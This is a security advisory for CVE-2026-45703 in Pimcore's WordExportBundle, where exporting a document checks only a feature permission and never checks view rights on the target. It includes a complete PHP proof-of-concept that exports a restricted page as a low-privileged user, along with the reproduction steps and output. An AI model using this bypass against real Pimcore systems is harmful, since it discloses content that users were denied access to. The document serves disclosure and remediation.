Pimcore WordExportBundle CVE-2026-45703
MEDIUMCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
Lifecycle Timeline
2DescriptionNVD
Summary
The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.
In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
POC-WORDEXPORT-TITLEPOC-WORDEXPORT-DESC
Root Cause
The controller only performs a feature-level permission check before starting the export flow:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)
It then directly resolves the target element from attacker-controlled type/id input:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)
For document-like elements such as Page and Snippet, it renders content in an admin context:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)
No object-level authorization check such as isAllowed('view') is enforced on the target element.
Affected Scope
Based on the source code, the following element types may be affected:
pagesnippetemailobject
For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
word_exportpermission - The attacker does not have
viewpermission on the target document
Reproduction Environment
- Reproduction root:
pimcore-12.3.3-repro - Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)
<?php
declare(strict_types=1);
use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_wordexportwith only theword_exportpermission and no document workspace permissions. - Create a test page at
/poc-wordexport-secret-pagecontaining sensitive values:
title = POC-WORDEXPORT-TITLEdescription = POC-WORDEXPORT-DESC
- Verify that the user does not have
viewpermission on that page. - Execute
wordExportAction()andwordExportDownloadAction()as that user. - Check whether the exported HTML contains the sensitive values.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.phpReproduction Result
Relevant PoC output:
{
"vulnerability": "wordexport_authorization_bypass",
"user": {
"name": "auditor_wordexport",
"permissions": [
"word_export"
]
},
"target_page": {
"path": "/poc-wordexport-secret-page",
"title": "POC-WORDEXPORT-TITLE",
"description": "POC-WORDEXPORT-DESC",
"user_can_view_page": false
},
"result": {
"download_contains_title": true,
"download_contains_description": true
}
}This shows that:
- The user cannot view the target page
- The exported file still contains the page's sensitive content
This confirms that the issue is practically exploitable.
Security Impact
- Unauthorized disclosure of structured page fields
- Unauthorized export of restricted backend content
- Potential exposure of unpublished or otherwise restricted content
- Lateral data access by low-privileged backend accounts
Remediation
- Perform object-level authorization immediately after resolving the element from
type/id. - Require at least
viewpermission on the target element. - Apply consistent authorization checks across
page,snippet,email, andobject. - Bind export creation and export download to the requesting user or an equivalent authorization context.
- Add regression tests to ensure that users with
word_exportbut without elementviewpermission cannot export content.
AnalysisAI
WordExportBundle in Pimcore CMS enforces only feature-level permission (word_export) at export initiation but performs no object-level authorization check against the target document element, constituting a broken object-level authorization (BOLA) flaw. Authenticated low-privileged backend users holding the word_export permission can supply arbitrary type/id parameters to wordExportAction() to export full content - including titles, descriptions, and body - from pages, snippets, emails, or objects they are explicitly denied view access to. …
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